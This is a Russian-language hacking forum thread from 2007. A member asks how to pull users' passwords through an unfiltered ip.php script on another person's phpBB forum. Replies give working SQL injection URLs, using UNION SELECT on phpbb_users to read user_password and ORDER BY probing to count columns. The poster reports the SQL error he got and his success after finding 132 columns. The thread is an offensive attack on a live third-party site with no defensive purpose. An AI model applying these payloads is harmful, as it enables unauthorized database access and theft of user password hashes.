Елементарная sql-иньекция

Discussion in 'Уязвимости' started by n01038, 24 Dec 2007.

Thread Status:
Not open for further replies.
  1. n01038

    n01038 New Member

    Joined:
    16 Dec 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Проблема такая, на одном форуме phpbb есть самописаный скрипт каторый может проверять юзеров на сходство по ИП. В таблеце phpbb_users в какойто колонке сохраняется последний ИП юзера с каторого он заходил, но в етом скрипте нет никакой фильтрации, например, если я хочу узнать у каво из посетителей пароль "123123", тогда мне нужно зделать так /ip.php?id=0+union+select+*+from+phpbb_users+where+user_password='4297f44b13955235245b2497399d7a93' и т.д. Сам скрипт выдает только ид/ник/ип юзера и все, как можно пробить пароль юзера по id?
     
    #1 n01038, 24 Dec 2007
    Last edited: 24 Dec 2007
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    /ip.php?id=0+union+select+1,user_password,3,4+from+phpbb_users+where+user_id=1
    с учётом того что 4 колонки, вторая выводящая
     
    _________________________
  3. n01038

    n01038 New Member

    Joined:
    16 Dec 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Вот так скрипт ответил :

    Could not query attachment informations

    DEBUG MODE

    SQL Error : 1222 The used SELECT statements have a different number of columns

    SELECT * FROM phpbb_users WHERE user_id = 0 union select 1,user_password,3,4 from phpbb_users where user_id=1

    Line : 51
    File : ip.php
     
  4. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    число колонок подбирай...
    union select 1,2,3 и так далее/* пока не подберешь число колонок..
    Как подберешь смотри какие из них выводятся…
     
    #4 aka PSIH, 24 Dec 2007
    Last edited: 24 Dec 2007
  5. n01038

    n01038 New Member

    Joined:
    16 Dec 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    уже до 100 дошел, значит здесь либо много колонок либо я делаю чтото нетак
     
  6. n01038

    n01038 New Member

    Joined:
    16 Dec 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    ужас, 132 колонки было, спасибо запомошь всем кто отписался :)
     
  7. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    n01038
    Не обязательно было все 132 колонки перебирать.. :)
    можно было быстро и просто через order by & group by подобрать ;)
     
  8. n01038

    n01038 New Member

    Joined:
    16 Dec 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    можно по подробней? :)
     
  9. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    набиаешь например /ip.php?id=0+order+by+100/*, если ошибка появилась значит число колонок меньше 100, если не появилась значить больше или равно 100...
     
Thread Status:
Not open for further replies.